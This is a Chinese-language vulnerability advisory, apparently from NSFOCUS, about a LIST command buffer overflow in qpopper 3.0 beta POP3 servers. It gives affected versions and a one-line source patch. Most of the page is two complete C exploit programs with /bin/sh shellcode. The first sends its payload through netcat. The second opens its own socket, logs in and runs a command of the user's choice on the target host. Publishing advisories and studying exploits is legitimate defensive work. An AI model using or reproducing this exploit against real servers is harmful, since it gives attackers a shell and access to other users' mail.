首页 -> 安全研究

安全研究

安全漏洞
Qpopper LIST溢出漏洞

发布日期:2000-01-27
更新日期:2000-01-29

受影响系统:
Qualcomm qpopper 3.0
Qualcomm qpopper 3.0beta1 - beta29
不受影响系统:
Qualcomm qpopper 2.53
Qualcomm qpopper 2.52
Qualcomm qpopper 2.4
描述:

Qpopper是流行的pop3服务器软件.在不久前被人发现其3.0beta1-20版有严重安全漏洞后,
最近又被发现存在另一个缓冲区溢出漏洞.如果用户拥有一个pop账号,他就可能通过使pop
server溢出来执行任意命令.

这个溢出是由"LIST"命令的第二个参数引起的.如果提供一个超常的参数,用户就可能导致
qpop溢出,并以该用户的身份执行任何命令,同时获得mail组的权限.在某些系统上,获得mail
组权限可以看任意用户的电子邮件,甚至可以改变或删除邮件.
    
<* 来源:      Zhodiac (zhodiac@SOFTHOME.NET)
   相关链接:  http://hispahack.ccc.de
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

------- qpop-xploit.c ----------


/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <zhodiac@softhome.net>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28 offset=0
* 3.0beta26 offset=0
* 3.0beta25 offset=0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
*/


#include <stdio.h>


#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4


char shellcode[]=
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
"\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";



void usage(char *progname) {
fprintf(stderr,"Usage: (%s <login> <password> [<offset>]; cat) | nc <target> 110",progname);
exit(1);
}


int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE];
unsigned long *long_ptr,offset=OFFSET;
int aux;


fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");


if (argc<3) usage(argv[0]);


if (argc==4) offset+=atol(argv[3]);


ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=sizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=strlen(shellcode);
long_ptr=(unsigned long*)ptr;
for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
ptr=(char *)long_ptr;
*ptr='\0';


fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
fprintf(stderr,"Offset: 0x%lx\n\n",offset);


printf("USER %s\n",argv[1]);
sleep(1);
printf("PASS %s\n",argv[2]);
sleep(1);
printf("LIST 1 %s\n",buffer);
sleep(1);
printf("uname -a; id\n");


return(0);
}


------- qpop-xploit.c ---------

missnglnk <missnglnk@tribune.intranova.net>提供了一个改进的程序

------- qpop-xploit1.c ----------

Modified by missnglnk <missnglnk@tribune.intranova.net>
Allows you to specify the command to execute and added network support
so netcat, is no longer needed.

/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* By Zhodiac <zhodiac@softhome.net>
*
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
* Overflow at pop_list()->pop_msg()
*
* Tested: 3.0beta28  offset=0
*         3.0beta26  offset=0
*         3.0beta25  offset=0
*
* #include <standar/disclaimer.h>
*
* This code is dedicated to my love [CrAsH]] and to all the people who
* were raided in Spain in the last few days.
*
* Madrid 10/1/2000
*
* missnglnk <missnglnk@tribune.intranova.net>
* - Allows you to specify the command to execute on the remote host,
*   and added network support to the program so you do not need netcat
*   to use this.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define BUFFERSIZE 1004
#define NOP 0x90
#define OFFSET 0xbfffd9c4
// #define OFFSET 0x0

char shellcode[]=
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
"\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";


void usage(char *progname) {
fprintf(stderr,"Usage: (%s <hostname> <login> <password> <command> [<offset>]\n",progname);
exit(1);
}

int main(int argc, char **argv) {
char *ptr,buffer[BUFFERSIZE],rcvbuf[4096],username[128],password[128],exploit[4096],command[4096];
unsigned long *long_ptr,offset=OFFSET;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");

if (argc<5) usage(argv[0]);

if (argc==6) offset+=atol(argv[5]);

ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
ptr+=sizeof(buffer)-strlen(shellcode)-16;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=strlen(shellcode);
long_ptr=(unsigned long*)ptr;
for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
ptr=(char *)long_ptr;
*ptr='\0';

fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
fprintf(stderr,"Offset: 0x%lx\n\n",offset);

snprintf(username, sizeof(username), "USER %s\n",argv[2]);
snprintf(password, sizeof(password), "PASS %s\n",argv[3]);
snprintf(exploit, sizeof(exploit), "LIST 1 %s\n",buffer);
snprintf(command, sizeof(command), "%s\n", argv[4]);

if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
    perror("socket()");
    return -1;
}

if ((he = gethostbyname(argv[1])) != NULL) {
    ip = *(unsigned long *)he->h_addr;
} else {
    if ((ip = inet_addr(argv[1])) == NULL) {
        perror("inet_addr()");
        return -1;
    }
}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(110);

if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    perror("connect()");
    return -1;
}

if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0) {
    perror("read()");
    return -1;
}

if (strstr(rcvbuf, "+OK") == NULL) {
     printf("Server didnt respond with ok\n");
    rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
    printf("\t%s\n", rcvbuf);
    return -1;
}

rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
printf("\t%s\n", rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));

if (write(sock, username, strlen(username)) < strlen(username)) {
    perror("write()");
    return -1;
}

if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0) {
    perror("read()");
    return -1;
}

if (strstr(rcvbuf, "+OK") == NULL) {
     printf("Server didnt respond with username ok\n");
    rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
    printf("\t%s\n", rcvbuf);
    return -1;
}

rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
printf("\t%s\n", rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));

if (write(sock, password, strlen(password)) < strlen(password)) {
    perror("write()");
    return -1;
}

if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0) {
    perror("read()");
    return -1;
}

if (strstr(rcvbuf, "+OK") == NULL) {
     printf("Server didnt respond with password ok\n");
    rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
    printf("\t%s\n", rcvbuf);
    return -1;
}

rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
printf("\t%s\n", rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));

if (write(sock, exploit, strlen(exploit)) < strlen(exploit)) {
    perror("write()");
    return -1;
}

if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0) {
    perror("read()");
    return -1;
}

rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
printf("\t%s\n", rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));

if (write(sock, command, strlen(command)) < strlen(command)) {
    perror("write()");
    return -1;
}

if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0) {
    perror("read()");
    return -1;
}

rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
printf("\t%s\n", rcvbuf);
bzero(rcvbuf, sizeof(rcvbuf));

if (close(sock) < 0) {
    perror("close()");
    return -1;
}

return(0);
}

------- qpop-xploit1.c ---------


建议:
Qualcomm最新的qpopper 3.0b31已经解决了这个问题。请到下列地址下载:

ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper3.0b31.tar.Z

也可以临时打一下下面这个简单的patch后重新编译:
   

------ pop_list.patch ---------


77c77
< return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %s",


---
>               return(pop_msg(p, POP_FAILURE,"Unknown LIST argument: %.128s",
------ pop_list.patch ---------
piscis:~# patch pop_list.c pop_list.patch
piscis:~#

浏览次数:6873
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障